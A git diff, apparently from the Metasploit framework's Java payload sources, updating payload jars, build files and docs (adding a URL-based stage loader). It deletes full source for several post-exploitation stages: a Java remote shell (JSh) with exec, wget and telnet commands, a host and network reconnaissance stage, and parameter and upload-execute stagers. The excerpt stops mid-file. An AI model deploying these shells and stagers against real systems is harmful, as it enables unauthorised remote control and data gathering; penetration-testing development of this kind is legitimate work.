diff --git a/data/java/metasploit/Payload.class b/data/java/metasploit/Payload.class index c1e8e9d384..7d6da40afb 100644 Binary files a/data/java/metasploit/Payload.class and b/data/java/metasploit/Payload.class differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index 0ddd2d7d26..ad0df3f22f 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/meterpreter.jar b/data/meterpreter/meterpreter.jar index 52d2e91e1f..9182b96a1a 100644 Binary files a/data/meterpreter/meterpreter.jar and b/data/meterpreter/meterpreter.jar differ diff --git a/external/source/javapayload/build.xml b/external/source/javapayload/build.xml index c30c89f7a3..06865dab50 100644 --- a/external/source/javapayload/build.xml +++ b/external/source/javapayload/build.xml @@ -1,5 +1,5 @@ - + @@ -11,45 +11,7 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + @@ -94,12 +56,9 @@ - + - - - diff --git a/external/source/javapayload/index.html b/external/source/javapayload/index.html index 5c38df00ca..e82c206d0a 100644 --- a/external/source/javapayload/index.html +++ b/external/source/javapayload/index.html @@ -46,10 +46,8 @@ JavaPayload from Metasploit which is written in Ruby and not in Java.

How to use the Payload class.

-

The Payload class is (among a collection of JavaPayload -stage classes) stored inside JavaPayload4Meterpreter.jar.

- -

It is a standard java main class (i. e. it has a public +

The Payload class is +a standard java main class (i. e. it has a public static void main(String[]) method), so the most obvious way to invoke it is putting it into a Jar file whose manifest's Main-Class attribute is metasploit.Payload. The resuling jar can be @@ -82,22 +80,14 @@ delete a running class file as technically, not the class file but the Java VM is running).

After that, it will either listen on a port and accept a socket, +connect to an URL (using a protocol like HTTP or HTTPS), create an active socket connection, or (for debugging purposes) just uses standard input and standard output; in any case, the resulting input/output streams are used for the staging

-

The property file can configure an embedded stage which -will be loaded directly from the current classloader (i. e. JAR). Note -that this feature cannot be used from a sub-process, as the rest of the -JAR file will not be available any longer there.

- -

If no embedded stage is configured, the stage is loaded from the -input stream instead (see below for the data format).

-

Once the stage is loaded, the streams are handed to the stage. Stages may require optional parameters (a string) which can be given -either in the property file or by using the SendParameters -stage from JavaPayload.

+in the property file.

When the stage quits, the payload class terminates and cleans up after itself if needed.

@@ -121,16 +111,21 @@ original filename), made executable (if needed by the OS) and executed. When this option is present, no staging will be performed and all options documented below are ignored.

-

EmbeddedStage(=)

- -

Note: this option will not work with the Spawn -option!

-

StageParameters(=)

Additional parameters to be used by the stage, regardless whether it was embedded or not. Only few stages support/require parameters.

+

URL(=)

+ +

Load the stage from this URL. The URL will be requested and the +resulting stream will be used for loading the stage classes from. +As the stage's output stream will discard all input, this is only +useful with stages (like Meterpreter) that can communicate via +some other means back to the attacker.

+ +

Note: If this option is given, LHOST and LPORT are ignored.

+

LPORT(=4444)

Port to listen on or to connect to (if LHOST is also @@ -161,56 +156,6 @@ stages to make updates easier. All stages listed here can be used without special "Java" tricks (like serialization or JDWP protocol), to easily use them from Ruby.

-

Exec

-
-
Stage classes
-
javapayload.stage.Stage, javapayload.stage.StreamForwarder, - javapayload.stage.Exec
-
-
-
Parameters
-
Exec commandline
-
-
-
Stage protocol
-
raw Input/output streams
-
- -

Execute an executable on the target machine and forward streams. -Stdout and Stderr are merged automatically.

- -

JSh

-
-
Stage classes
-
javapayload.stage.Stage, javapayload.stage.JShSignalSender, - javapayload.stage.JShStreamForwarder, javapayload.stage.JSh
-
-
-
Parameters
-
Not supported
-
-
-
Stage protocol
-
Plain text
-
- -

A simple shell written in pure Java.

- -
Supported commands:
-     help   - show this help
-     info   - list system properties
-     pwd    - show current directory
-     cd     - change directory
-     ls     - list directory
-     exec   - execute native command
-     cat    - show text file
-     wget   - download file
-     telnet - create TCP connection
-     paste  - create text file
-     jobs   - list or continue jobs
-     exit   - Exit JSh
- -

Meterpreter

Stage classes
@@ -231,40 +176,11 @@ Stdout and Stderr are merged automatically.

Loader to load the Java version of Metasploit's own post-exploitation toolkit.

-

SendParameters

-
-
Stage classes
-
all classes needed by the stage to use, - javapayload.stage.SendParameters
-
-
-
Parameters
-
Not supported
-
-
-
Stage protocol
-
First transfer of parameters, then as the stage to use
-
- -

"Intermediate" stage that can be used to change the stage -parameters in cases where they cannot be cast in stone when the payload -is built.

- -

After sending the stage, but before sending data for the stage, -you have to send the parameters:

- -

The parameters start with a unsigned big-endian 16-bit integer -that specifies the number of parameters. Then each parameter is sent in -Java's modified -UTF string format. After that, the actual data for the stage can be -sent.

-

Shell

Stage classes
javapayload.stage.Stage, javapayload.stage.StreamForwarder, - javapayload.stage.Exec
+ javapayload.stage.Shell
Parameters
@@ -278,62 +194,5 @@ sent.

This stager loads /bin/sh on Unix systems and cmd.exe on Windows systems, and else just behaves like the Exec stage.

-

SystemInfo

-
-
Stage classes
-
javapayload.stage.Stage, javapayload.stage.SystemInfo
-
-
-
Parameters
-
Not supported
-
-
-
Stage protocol
-
Plain text
-
- -

This stage just returns some system and network information. The -input stream is ignored. Useful as an embedded stage for automatic data -gathering with netcat, but not useful for anything else.

- -

UpExec

-
-
Stage classes
-
javapayload.stage.Stage, javapayload.stage.StreamForwarder, - javapayload.stage.UpExec
-
-
-
Parameters
-
UpExec program_name arguments
-
-
-
Stage protocol
-
raw Input/output streams
-
- -

Acts like exec, just that the a file can be uploaded first -(stored with a random file name) which will be executed with parameters.

- -

The file is uploaded directly after uploading the stage classes, -prefixed by a 32-bit big-endian integer size value.

- -

Included example jars

- -

example-reverse-meterpreter.jar

- -

Will connect back to metasploit at localhost:4444. and try to -bootstrap meterpreter (via an embedded stage). Except for the hard-coded -address in the property file, it acts like loader.jar.

- -

example-spawn-bind.jar

- -

Will spawn 2 Java processes and then listen on port 5555 for -incoming connections. No embedded stages.

- -

example-standalone-jsh.jar

- -

Will run JSh on stdin/stdout. Example for the stdin/stdout -feature and useful for testing JSh easily.

- \ No newline at end of file diff --git a/external/source/javapayload/src/javapayload/stage/JSh.java b/external/source/javapayload/src/javapayload/stage/JSh.java deleted file mode 100644 index a197421d58..0000000000 --- a/external/source/javapayload/src/javapayload/stage/JSh.java +++ /dev/null @@ -1,346 +0,0 @@ -/* - * Java Payloads. - * - * Copyright (c) 2010, Michael 'mihi' Schierl - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * - Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * - * - Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * - Neither name of the copyright holders nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, - * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS - * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE - * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -package javapayload.stage; - -import java.io.DataInputStream; -import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.io.PipedInputStream; -import java.io.PipedOutputStream; -import java.io.PrintStream; -import java.net.Socket; -import java.net.URL; -import java.util.ArrayList; -import java.util.Enumeration; -import java.util.List; - -public class JSh implements Stage, Runnable { - - // each job is an Object[] to avoid a pure data class - // job[0] = name (String) - // job[1] = raw object (Socket or Process or Stream) for closing - // job[2] = OutputStream to forward user input to - // job[3..length-1] = JshStreamForwarders to redirect output - private final List jobs = new ArrayList(); - - private PipedOutputStream signalStream; - private InputStream originalIn; - private PrintStream pout; - - /** - * Forward data from one stream to another. Closes the input stream but not the output stream! - */ - private void forward(InputStream in, OutputStream out) throws IOException { - final byte[] buf = new byte[4096]; - int len; - while ((len = in.read(buf)) != -1) { - out.write(buf, 0, len); - if (in.available() == 0) { - out.flush(); - } - } - in.close(); - } - - private boolean forwardEscapable(InputStream in, Object[] job) throws IOException { - final OutputStream out = (OutputStream) job[2]; - int b; - boolean startOfLine = true, tilde = false, interrupted = true; - while (true) { - if (interrupted && job.length > 3) { - boolean allFinished = true; - for (int i = 3; i < job.length; i++) { - if (!((JShStreamForwarder) job[i]).isFinished()) { - allFinished = false; - break; - } - } - if (allFinished) { - pout.println("Finished: " + job[0]); - return false; - } - } - interrupted = false; - if ((b = in.read()) != -1) { - if (b == 0) { - b = in.read(); - if (b != 0) { - interrupted = true; - continue; - } - } - if (startOfLine && b == '~') { - tilde = true; - } else if (tilde && b == '&') { - return true; - } else if (tilde && b == '.') { - return false; - } else { - if (tilde && b != '~') { - out.write('~'); - } - out.write(b); - if (in.available() == 0) { - out.flush(); - } - tilde = false; - } - startOfLine = (b == '\r' || b == '\n'); - } else { - // our control connection has died... - return false; - } - } - } - - private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception { - pout.println("Press ~& to suspend, ~. to stop job."); - for (int i = 3; i < job.length; i++) { - ((JShStreamForwarder) job[i]).pauseForwarding(false); - } - if (forwardEscapable(in, job)) { - for (int i = 3; i < job.length; i++) { - ((JShStreamForwarder) job[i]).pauseForwarding(true); - } - jobs.add(job); - pout.println("Job suspended, see 'jobs'."); - } else { - for (int i = 3; i < job.length; i++) { - ((JShStreamForwarder) job[i]).stopForwarding(); - } - if (job[1] instanceof Socket) { - ((Socket) job[1]).close(); - } else if (job[1] instanceof Process) { - ((Process) job[1]).destroy(); - } else { - ((OutputStream) job[1]).close(); - } - } - } - - public void run() { - try { - try { - int b; - while ((b = originalIn.read()) != -1) { - signalStream.write(b); - if (b == 0) { - signalStream.write(b); - } - if (originalIn.available() == 0) { - signalStream.flush(); - } - } - } finally { - originalIn.close(); - signalStream.close(); - } - } catch (final Throwable ex) { - ex.printStackTrace(pout); - } - } - - public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception { - this.originalIn = originalIn; - signalStream = new PipedOutputStream(); - pout = new PrintStream(out, true); - final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream)); - final Thread copier = new Thread(this); - copier.setDaemon(true); - copier.start(); - final JShSignalSender ss = new JShSignalSender(signalStream, pout); - File pwd = new File(".").getCanonicalFile(); - while (true) { - pout.print("! "); - // yes I know this is deprecated. but BufferedReader is way too bloated for what we need here - String cmd = in.readLine(); - while (cmd.indexOf("\0$") != -1) { - cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2); - } - if (cmd.length() == 0) { - continue; - } - int pos = cmd.indexOf(' '); - String params = ""; - if (pos != -1) { - params = cmd.substring(pos + 1); - cmd = cmd.substring(0, pos); - } - cmd = cmd.toLowerCase().intern(); - try { - if (cmd == "info") { - if (params.length() == 0) { - final Enumeration e = System.getProperties().propertyNames(); - while (e.hasMoreElements()) { - final String property = (String) e.nextElement(); - pout.println(property + "=" + System.getProperty(property)); - } - } else { - pout.println(params + "=" + System.getProperty(params)); - } - } else if (cmd == "pwd") { - pout.println(pwd.getPath()); - } else if (cmd == "cd") { - File f = new File(pwd, params); - if (f.exists() && f.isDirectory()) { - pwd = f.getCanonicalFile(); - } else { - f = new File(params); - if (f.exists() && f.isDirectory()) { - pwd = f.getCanonicalFile(); - } else { - pout.println("Path not found."); - } - } - pout.println(pwd.getPath()); - } else if (cmd == "ls") { - final File[] roots = File.listRoots(); - for (int i = 0; i < roots.length; i++) { - pout.println(roots[i].getAbsolutePath() + "\t[ROOT]"); - } - pout.println(); - final File[] dir = pwd.listFiles(); - for (int i = 0; i < dir.length; i++) { - pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified()); - } - } else if (cmd == "exec") { - Process proc; - handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) }); - } else if (cmd == "cat") { - final FileInputStream fis = new FileInputStream(new File(pwd, params)); - forward(fis, pout); - } else if (cmd == "wget") { - pos = params.indexOf(' '); - if (pos == -1) { - pout.println(" Usage: wget "); - } else { - final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1))); - forward(new URL(params.substring(0, pos)).openStream(), fos); - fos.close(); - } - } else if (cmd == "telnet") { - pos = params.indexOf(' '); - if (pos == -1) { - pout.println(" Usage: telnet "); - } else { - Socket s; - handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) }); - } - } else if (cmd == "paste") { - FileOutputStream fos; - handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos }); - } else if (cmd == "jobs") { - if (params.length() == 0) { - for (int i = 0; i < jobs.size(); i++) { - pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]); - } - } else { - handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1)); - } - } else if (cmd == "exit") { - break; - } else if (cmd == "help") { - params = params.toLowerCase().intern(); - if (params == "info") { - pout.println("info: show system properties."); - pout.println(" Usage: info [property]"); - } else if (params == "pwd") { - pout.println("pwd: show current directory."); - pout.println(" Usage: pwd"); - } else if (params == "cd") { - pout.println("cd: change directory."); - pout.println(" Usage: cd "); - } else if (params == "ls") { - pout.println("ls: list directory."); - pout.println(" Usage: ls"); - } else if (params == "exec") { - pout.println("exec: execute native command."); - pout.println(" Usage: exec "); - } else if (params == "cat") { - pout.println("cat: show text file."); - pout.println(" Usage: cat "); - } else if (params == "wget") { - pout.println("wget: download file."); - pout.println(" Usage: wget "); - } else if (params == "telnet") { - pout.println("telnet: create TCP connection."); - pout.println(" Usage: telnet "); - } else if (params == "paste") { - pout.println("paste: create text file."); - pout.println(" Usage: paste "); - } else if (params == "jobs") { - pout.println("jobs: list or continue jobs."); - pout.println(" Usage: jobs [index]"); - } else if (params == "exit") { - pout.println("exit: Exit JSh."); - pout.println(" Usage: exit"); - } else { - pout.println("help: show information about commands."); - pout.println(" Usage: help [command]"); - pout.println(); - pout.println("Supported commands:"); - pout.println(" help - show this help"); - pout.println(" info - list system properties"); - pout.println(" pwd - show current directory"); - pout.println(" cd - change directory"); - pout.println(" ls - list directory"); - pout.println(" exec - execute native command"); - pout.println(" cat - show text file"); - pout.println(" wget - download file"); - pout.println(" telnet - create TCP connection"); - pout.println(" paste - create text file"); - pout.println(" jobs - list or continue jobs"); - pout.println(" exit - Exit JSh"); - pout.println(); - pout.println("When inside an interactive command, enter ~. on a new"); - pout.println("line to exit from that command. Enter ~& to background the command."); - pout.println("Enter ~~ to start a line with a ~ character"); - } - } else { - pout.println("Unknown command: " + cmd); - pout.println("Type help for more info."); - } - } catch (final Exception ex) { - ex.printStackTrace(pout); - } - } - ss.terminate(); - pout.close(); - } -} \ No newline at end of file diff --git a/external/source/javapayload/src/javapayload/stage/JShSignalSender.java b/external/source/javapayload/src/javapayload/stage/JShSignalSender.java deleted file mode 100644 index 4d427fe7e8..0000000000 --- a/external/source/javapayload/src/javapayload/stage/JShSignalSender.java +++ /dev/null @@ -1,84 +0,0 @@ -/* - * Java Payloads. - * - * Copyright (c) 2010, Michael 'mihi' Schierl - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * - Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * - * - Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * - Neither name of the copyright holders nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, - * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS - * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE - * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -package javapayload.stage; - -import java.io.PipedOutputStream; -import java.io.PrintStream; - -/** - * For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends... - */ -public class JShSignalSender extends Thread { - private final PipedOutputStream signalStream; - private boolean doSignal, doTerminate; - private final PrintStream errorStream; - - public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) { - this.signalStream = signalStream; - this.errorStream = errorStream; - start(); - } - - public void run() { - try { - while (true) { - synchronized (this) { - while (!doSignal && !doTerminate) { - wait(); - } - if (doTerminate) { - break; - } - doSignal = false; - } - signalStream.write(new byte[] { 0, '$' }); - signalStream.flush(); - } - signalStream.close(); - } catch (final Throwable ex) { - ex.printStackTrace(errorStream); - } - } - - public synchronized void signal() { - doSignal = true; - notifyAll(); - } - - public synchronized void terminate() { - doTerminate = true; - notifyAll(); - } -} diff --git a/external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java b/external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java deleted file mode 100644 index 12dbc43c2d..0000000000 --- a/external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java +++ /dev/null @@ -1,108 +0,0 @@ -/* - * Java Payloads. - * - * Copyright (c) 2010, Michael 'mihi' Schierl - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * - Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * - * - Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * - Neither name of the copyright holders nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, - * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS - * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE - * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -package javapayload.stage; - -import java.io.InputStream; -import java.io.PrintStream; - -public class JShStreamForwarder extends Thread { - private final InputStream in; - private PrintStream out; - private boolean paused = false, finished = false; - private final JShSignalSender signalSender; - - public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) { - this.in = in; - this.out = out; - this.signalSender = signalSender; - start(); - } - - public synchronized boolean isFinished() { - return finished; - } - - public synchronized void pauseForwarding(boolean paused) { - this.paused = paused; - this.notifyAll(); - } - - public void run() { - try { - try { - final byte[] buf = new byte[4096]; - int length; - while ((length = in.read(buf)) != -1) { - synchronized (this) { - while (paused) { - wait(); - } - if (out != null) { - out.write(buf, 0, length); - if (in.available() == 0) { - out.flush(); - } - } - } - } - synchronized (this) { - finished = true; - if (!paused) { - signalSender.signal(); - } - } - } finally { - in.close(); - } - } catch (final Throwable ex) { - synchronized (this) { - while (paused) { - try { - wait(); - } catch (final InterruptedException ex2) { - } - } - if (out != null) { - ex.printStackTrace(out); - out.flush(); - } - } - } - } - - public synchronized void stopForwarding() { - out = null; - } -} diff --git a/external/source/javapayload/src/javapayload/stage/SendParameters.java b/external/source/javapayload/src/javapayload/stage/SendParameters.java index 997ad23093..e69de29bb2 100644 --- a/external/source/javapayload/src/javapayload/stage/SendParameters.java +++ b/external/source/javapayload/src/javapayload/stage/SendParameters.java @@ -1,53 +0,0 @@ -/* - * Java Payloads. - * - * Copyright (c) 2010, Michael 'mihi' Schierl - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * - Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * - * - Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * - Neither name of the copyright holders nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, - * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS - * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE - * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -package javapayload.stage; - -import java.io.DataInputStream; -import java.io.OutputStream; - -public class SendParameters implements Stage { - - public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { - int paramCount = in.readUnsignedShort(); - String[] params = new String[paramCount+2]; - params[0] = parameters[0]; - params[1] = "--"; - for (int i = 2; i < params.length; i++) { - params[i] = in.readUTF(); - } - Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance(); - realStage.start(in, out, params); - } -} diff --git a/external/source/javapayload/src/javapayload/stage/SystemInfo.java b/external/source/javapayload/src/javapayload/stage/SystemInfo.java index da494ef96d..e69de29bb2 100644 --- a/external/source/javapayload/src/javapayload/stage/SystemInfo.java +++ b/external/source/javapayload/src/javapayload/stage/SystemInfo.java @@ -1,92 +0,0 @@ -/* - * Java Payloads. - * - * Copyright (c) 2010, Michael 'mihi' Schierl - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * - Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * - * - Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * - Neither name of the copyright holders nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, - * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS - * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE - * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -package javapayload.stage; - -import java.io.BufferedReader; -import java.io.DataInputStream; -import java.io.InputStreamReader; -import java.io.OutputStream; -import java.io.PrintStream; -import java.net.InetAddress; -import java.net.NetworkInterface; -import java.net.URL; -import java.util.Enumeration; - -public class SystemInfo implements Stage { - - public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { - PrintStream pout = new PrintStream(out, true); - pout.println("System properties:"); - pout.println("~~~~~~~~~~~~~~~~~~"); - for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) { - final String property = (String) e.nextElement(); - pout.println(property + "=" + System.getProperty(property)); - } - pout.println(); - pout.println("Local address:"); - pout.println("~~~~~~~~~~~~~~"); - InetAddress addr = InetAddress.getLocalHost(); - pout.println("Name: "+addr.getHostName()); - pout.println("Canonical Name: "+addr.getCanonicalHostName()); - pout.println("IP Address: "+addr.getHostAddress()); - pout.println(); - pout.println("Network interfaces:"); - pout.println("~~~~~~~~~~~~~~~~~~~"); - for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { - NetworkInterface iface = (NetworkInterface) e.nextElement(); - pout.println(iface.getName()); - pout.println(" Display Name: "+iface.getDisplayName()); - for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) { - InetAddress ifaddr = (InetAddress) e2.nextElement(); - pout.println(" Address:"); - pout.println(" Name: "+ifaddr.getHostName()); - pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName()); - pout.println(" IP Address: "+ifaddr.getHostAddress()); - } - } - pout.println(); - pout.println("External IP Address:"); - pout.println("~~~~~~~~~~~~~~~~~~~~"); - try { - BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream())); - pout.println(br.readLine()); - br.close(); - } catch (Exception ex) { - ex.printStackTrace(pout); - } - pout.println(); - pout.close(); - } -} diff --git a/external/source/javapayload/src/javapayload/stage/UpExec.java b/external/source/javapayload/src/javapayload/stage/UpExec.java index 55f6696f1e..e69de29bb2 100644 --- a/external/source/javapayload/src/javapayload/stage/UpExec.java +++ b/external/source/javapayload/src/javapayload/stage/UpExec.java @@ -1,71 +0,0 @@ -/* - * Java Payloads. - * - * Copyright (c) 2010, Michael 'mihi' Schierl - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * - Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * - * - Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * - Neither name of the copyright holders nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, - * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS - * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE - * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -package javapayload.stage; - -import java.io.DataInputStream; -import java.io.File; -import 